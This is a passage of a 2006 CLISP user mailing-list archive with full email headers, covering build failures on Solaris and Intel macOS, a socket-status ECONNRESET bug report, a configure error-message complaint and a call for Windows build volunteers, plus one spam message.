Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FyEui-0003D7-KG for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 14:28:08 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AEDE22A000A0; Wed, 05 Jul 2006 17:27:58 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 7F96E36821F; Wed, 5 Jul 2006 17:27:58 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k65LRw1d014894; Wed, 5 Jul 2006 17:27:58 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k65LRsK2014890; Wed, 5 Jul 2006 17:27:54 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Dan Debertin Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dan Debertin's message of "Wed, 5 Jul 2006 21:01:53 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dan Debertin Date: Wed, 05 Jul 2006 17:27:53 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Build failure on Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Jul 2006 21:28:09 -0000 > * Dan Debertin [2006-07-05 21:01:53 +0000]: > > I tried all three flags that were suggested -- NO_MULTIMAP_FILE, > NO_SINGLEMAP and NO_TRIVIALMAP -- with no success. However, when I add > -DSAFETY=n where n >= 2 and remove the three flags just mentioned, it > works! Truss reports that lisp.run is still using mmap (lots of calls > to mmap64), but whatever it is that SAFETY does seems to have worked. it may be that replacing -DSAFETY=2 with -DNO_GENERATIONAL_GC will also work. could you please try it? you can find other options in the start of clisp/src/lispbibl.d. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://pmw.org.il http://camera.org http://ffii.org http://palestinefacts.org http://honestreporting.com Genius is immortal, but morons live longer. From kykim@yahoo.com Fri Jul 07 05:54:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fypr7-00046J-O3 for clisp-list@lists.sourceforge.net; Fri, 07 Jul 2006 05:54:49 -0700 Received: from web54613.mail.yahoo.com ([206.190.49.183]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fypr6-0003zU-84 for clisp-list@lists.sourceforge.net; Fri, 07 Jul 2006 05:54:49 -0700 Received: (qmail 94179 invoked by uid 60001); 7 Jul 2006 12:54:42 -0000 Message-ID: <20060707125442.94177.qmail@web54613.mail.yahoo.com> Received: from [66.108.57.89] by web54613.mail.yahoo.com via HTTP; Fri, 07 Jul 2006 05:54:42 PDT Date: Fri, 7 Jul 2006 05:54:42 -0700 (PDT) From: Kevin Kim To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] can't compile FFI on macosx intel X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Jul 2006 12:54:50 -0000 I'm trying to build clisp for macosx 10.4.7 (intel). It seems to compile fine except for FFI. It looks like the file ffcall/callback/trampoline_r/test1.c compiles file, but fails with an illegal instruction. The build/host type comes up as i386-apple-darwin8.7.1. The relevent lines in configure log are: cd trampoline_r; make check gcc -g -O2 -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/test1\ .c /bin/sh ./libtool --mode=link gcc -g -O2 -x none test1.o trampoline.lo -o test1 gcc -g -O2 -x none test1.o trampoline.o -o test1 gcc -g -O2 -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/test2\ .c /bin/sh ./libtool --mode=link gcc -g -O2 -x none test2.o trampoline.lo -o test2 gcc -g -O2 -x none test2.o trampoline.o -o test2 ./test1 make[1]: *** [check] Illegal instruction make: *** [check-subdirs] Error 2 Configure findings: FFI: no (user requested: default) readline: yes (user requested: default) libsigsegv: yes I guess that the .s files being used might need adjusting (or it's using the wrong one?) -kevin __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From don-sourceforge-xx@isis.cs3-inc.com Fri Jul 07 20:10:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fz3Cs-0008Jo-G1 for clisp-list@lists.sourceforge.net; Fri, 07 Jul 2006 20:10:10 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fz3Cs-0007q3-6C for clisp-list@lists.sourceforge.net; Fri, 07 Jul 2006 20:10:10 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 6C21F1A818F; Fri, 7 Jul 2006 20:10:11 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17583.8723.228787.599574@isis.cs3-inc.com> Date: Fri, 7 Jul 2006 20:10:11 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] bug in socket-status ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Jul 2006 03:10:10 -0000 This is from a recent cvs build but I've seen the same thing in older versions. I don't understand what causes the problem. I think it's a bug, though. For purposes of debugging I've arranged to load only interpreted code. *** - UNIX error 104 (ECONNRESET): Connection reset by peer The following restarts are available: SKIP :R1 skip (SERVE) STOP :R2 stop loading file /root/http/init.lisp ABORT :R3 ABORT ABORT :R4 ABORT Break 1 [3]> where <1> # EVAL frame for form (SOCKET-STATUS SSS::*SOCKET-STATUS-ARG*) Break 1 [3]> SSS::*SOCKET-STATUS-ARG* ((# :INPUT) (# :INPUT . T)) Break 1 [3]> (SOCKET-STATUS SSS::*SOCKET-STATUS-ARG*) ((# :INPUT . :EOF) (# :INPUT)) ; 1 ... Break 1 [3]> (lisp-implementation-version) "2.38 (2006-01-24) (built 3361134711) (memory 3361134986)" If I type redo then things continue as expected. BTW uname -a Linux don-eve.dyndns.org 2.6.15-1.1831_FC4 #1 Tue Feb 7 13:37:42 EST 2006 i686 i686 i386 GNU/Linux From pjb@informatimago.com Sat Jul 08 07:12:42 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FzDY2-0001yR-P6 for clisp-list@lists.sourceforge.net; Sat, 08 Jul 2006 07:12:42 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FzDXz-0007Js-FC for clisp-list@lists.sourceforge.net; Sat, 08 Jul 2006 07:12:42 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 32F3B586AB; Sat, 8 Jul 2006 16:12:21 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DA5C5585E6; Sat, 8 Jul 2006 16:12:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 69A328FC6; Sat, 8 Jul 2006 16:12:12 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060708141212.69A328FC6@thalassa.informatimago.com> Date: Sat, 8 Jul 2006 16:12:12 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] checking for X X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Jul 2006 14:12:43 -0000 In configure, the error message when it cannot find the Xt library is confusing. It reports: checking for X... (cached) no configure: error: cannot find X Window System while xserver-xfree86 and libx11-dev ARE installed on my new headless debian system. The error message ought to tell exactly and truely what it was checking, as follow: configure: error: cannot find Xt library (I had installed xserver-xfree86 unnecessarily; now I've removed it and installed libxt-dev instead and clisp compilation can proceed). -- __Pascal Bourguignon__ http://www.informatimago.com/ "This statement is false." In Lisp: (defun Q () (eq nil (Q))) From sds@podval.org Sat Jul 08 21:19:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FzQlf-0001KX-BB for clisp-list@lists.sourceforge.net; Sat, 08 Jul 2006 21:19:39 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FzQlb-0004Xn-Qd for clisp-list@lists.sourceforge.net; Sat, 08 Jul 2006 21:19:39 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J2400DCCC0G7U00@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 09 Jul 2006 00:19:29 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 92F3921E08E; Sun, 09 Jul 2006 00:19:28 -0400 (EDT) Date: Sun, 09 Jul 2006 00:19:28 -0400 From: Sam Steingold In-reply-to: <20060708141212.69A328FC6@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060708141212.69A328FC6@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] checking for X X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Jul 2006 04:19:39 -0000 > * Pascal Bourguignon [2006-07-08 16:12:12 +0200]: > > In configure, the error message when it cannot find the Xt library is > confusing. It reports: > > checking for X... (cached) no > configure: error: cannot find X Window System > > while xserver-xfree86 and libx11-dev ARE installed on my new headless > debian system. > > > > The error message ought to tell exactly and truely what it was > checking, as follow: > > configure: error: cannot find Xt library please try CVS head. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://palestinefacts.org http://dhimmi.com http://pmw.org.il http://thereligionofpeace.com http://jihadwatch.org http://memri.org I just forgot my whole philosophy of life!!! From sds@podval.org Tue Jul 11 07:48:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0JXO-0002Jk-TP for clisp-list@lists.sourceforge.net; Tue, 11 Jul 2006 07:48:35 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0JXL-0003oB-LE for clisp-list@lists.sourceforge.net; Tue, 11 Jul 2006 07:48:34 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AA38309D0098; Tue, 11 Jul 2006 10:48:24 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 8C7D23680FE; Tue, 11 Jul 2006 10:48:23 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6BEmNgt014714; Tue, 11 Jul 2006 10:48:23 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6BEmEiQ014709; Tue, 11 Jul 2006 10:48:14 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17583.8723.228787.599574@isis.cs3-inc.com> (Don Cohen's message of "Fri, 7 Jul 2006 20:10:11 -0700") References: <17583.8723.228787.599574@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Tue, 11 Jul 2006 10:48:14 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] bug in socket-status ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jul 2006 14:48:35 -0000 > * Don Cohen [2006-07-07 20:10:11 -0700]: > > This is from a recent cvs build but I've seen the same thing in older > versions. I don't understand what causes the problem. I think it's a > bug, though. For purposes of debugging I've arranged to load only > interpreted code. OS errors reported based on the return values from system calls. There are tricky issues there (e.g., for some system calls one has to check errno in addition to the return values), but here it is probably the bad arguments (if it is a CLISP fault) or a network oddity (if it is not) in this case. please recompile with "-g" instead of "-O2 -f..." and run under gdb. thanks. > *** - UNIX error 104 (ECONNRESET): Connection reset by peer if you add "-DDEBUG_OS_ERROR" to CFLAGS, you will also see the file:line location of the error. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://iris.org.il http://pmw.org.il http://openvotingconsortium.org http://honestreporting.com http://ffii.org "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From joseph@deburringmachines.novelco.com Tue Jul 11 14:20:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0PeD-0007HP-78 for clisp-list@lists.sourceforge.net; Tue, 11 Jul 2006 14:20:01 -0700 Received: from vms044pub.verizon.net ([206.46.252.44]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0PeB-00049g-Qf for clisp-list@lists.sourceforge.net; Tue, 11 Jul 2006 14:20:01 -0700 Received: from deburringmachines.novelco.com ([71.103.86.101]) by vms044.mailsrvcs.net (Sun Java System Messaging Server 6.2-4.02 (built Sep 9 2005)) with ESMTPA id <0J29004KSCL41EL9@vms044.mailsrvcs.net> for clisp-list@lists.sourceforge.net; Tue, 11 Jul 2006 16:19:53 -0500 (CDT) Date: Tue, 11 Jul 2006 13:14:51 -0700 From: joseph@deburringmachines.novelco.com To: clisp-list@lists.sourceforge.net Message-id: <20060711131450.BCAC4BFC2A5A5012@deburringmachines.novelco.com> MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 DNS_FROM_AHBL_RHSBL RBL: From: sender listed in dnsbl.ahbl.org 0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: novelco.com] Subject: [clisp-list] purchasing department / sales manager X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jul 2006 21:20:01 -0000 I would like to talk to the person who handles machine equipment, Can you please provide the name of the person phone or e-mail address. We are a distributor of deburring equipment and would like to email our equipment specials. And If there is anything you are looking for please let us know. Sincerely, Joseph Taylor Worldlink Phone: 562 215 4843 Fax: 562 364 9753 Website: http://www.novelco.com/richwood/ If you do not wish to receive our offers, kindly re-send a blank e-mail with "Remove". From sds@podval.org Wed Jul 12 06:27:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0eki-0006H0-FE for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 06:27:44 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0eke-0003Tc-UV for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 06:27:44 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A8C7325B00A4; Wed, 12 Jul 2006 09:27:35 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id CB78F369FFC for ; Wed, 12 Jul 2006 09:27:34 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6CDRYrd030539 for ; Wed, 12 Jul 2006 09:27:34 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6CDRUgW030537; Wed, 12 Jul 2006 09:27:30 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Wed, 12 Jul 2006 09:27:30 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jul 2006 13:27:44 -0000 I no longer have access to a woe32 system, so we need a volunteer to build clisp binary distributions for woe32 and cygwin for the forthcoming clisp 2.39. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://honestreporting.com http://pmw.org.il http://thereligionofpeace.com http://openvotingconsortium.org http://memri.org http://mideasttruth.com War has never solved anything - except for ending slavery, fascism, communism. From jdunrue@gmail.com Wed Jul 12 08:07:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0gJD-0008A6-N1 for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 08:07:27 -0700 Received: from py-out-1112.google.com ([64.233.166.180]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0gJC-0003pc-Bn for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 08:07:27 -0700 Received: by py-out-1112.google.com with SMTP id d42so282610pyd for ; Wed, 12 Jul 2006 08:07:24 -0700 (PDT) Received: by 10.35.84.16 with SMTP id m16mr931853pyl; Wed, 12 Jul 2006 08:07:24 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Wed, 12 Jul 2006 08:07:24 -0700 (PDT) Message-ID: Date: Wed, 12 Jul 2006 09:07:24 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jul 2006 15:07:28 -0000 On 7/12/06, Sam Steingold wrote: > I no longer have access to a woe32 system, > so we need a volunteer to build clisp binary distributions > for woe32 and cygwin for the forthcoming clisp 2.39. > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. In addition to WinXP SP2, I also have Vista Beta 2 installed. I can run the test suite under both versions. -- Jack Unrue From jdunrue@gmail.com Wed Jul 12 12:31:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0kQJ-0007yB-3e for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 12:31:03 -0700 Received: from py-out-1112.google.com ([64.233.166.178]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0kQH-0001gB-JF for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 12:31:03 -0700 Received: by py-out-1112.google.com with SMTP id c31so505884pyd for ; Wed, 12 Jul 2006 12:31:00 -0700 (PDT) Received: by 10.35.37.18 with SMTP id p18mr1277307pyj; Wed, 12 Jul 2006 12:31:00 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Wed, 12 Jul 2006 12:31:00 -0700 (PDT) Message-ID: Date: Wed, 12 Jul 2006 13:31:00 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jul 2006 19:31:03 -0000 On 7/12/06, Jack Unrue wrote: > On 7/12/06, Sam Steingold wrote: > > I no longer have access to a woe32 system, > > so we need a volunteer to build clisp binary distributions > > for woe32 and cygwin for the forthcoming clisp 2.39. > > > > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. > > In addition to WinXP SP2, I also have Vista Beta 2 installed. > I can run the test suite under both versions. BTW, assuming you don't find someone else to do it, I'll just need to know if there are any special instructions I should follow and where to upload the distribution. -- Jack Unrue From don-sourceforge-xx@isis.cs3-inc.com Wed Jul 12 14:49:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0maS-00035B-U5 for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 14:49:41 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G0maQ-0001x4-Li for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 14:49:40 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id E87721A818F; Wed, 12 Jul 2006 14:49:40 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17589.28276.891899.895244@isis.cs3-inc.com> Date: Wed, 12 Jul 2006 14:49:40 -0700 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <17583.8723.228787.599574@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] bug in socket-status ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jul 2006 21:49:41 -0000 Sam Steingold writes: > > * Don Cohen [2006-07-07 20:10:11 -0700]: > > > > This is from a recent cvs build but I've seen the same thing in older > > versions. I don't understand what causes the problem. I think it's a > > bug, though. For purposes of debugging I've arranged to load only > > interpreted code. > > OS errors reported based on the return values from system calls. > There are tricky issues there (e.g., for some system calls one has to > check errno in addition to the return values), but here it is probably > the bad arguments (if it is a CLISP fault) or a network oddity (if it is > not) in this case. > please recompile with "-g" instead of "-O2 -f..." and run under gdb. > thanks. I gather the bug report is not enough to tell you what's wrong. I'm having trouble understanding what you want me to do when the error occurs and what you think we will learn this way. Perhaps it would be more useful to record an strace of the process and/or tcpdump? > if you add "-DDEBUG_OS_ERROR" to CFLAGS, you will also see the file:line > location of the error. We know it's coming from socket-status and strace will show us the system calls. That seems like it should be sufficient. At this point I still don't know how to reproduce the error on demand so I'm reduced to running the server and waiting for someone to send it whatever is needed to break it. From kykim@yahoo.com Wed Jul 12 20:41:15 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0s4g-0006tR-VC for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 20:41:15 -0700 Received: from web54613.mail.yahoo.com ([206.190.49.183]) by mail.sourceforge.net with smtp (Exim 4.44) 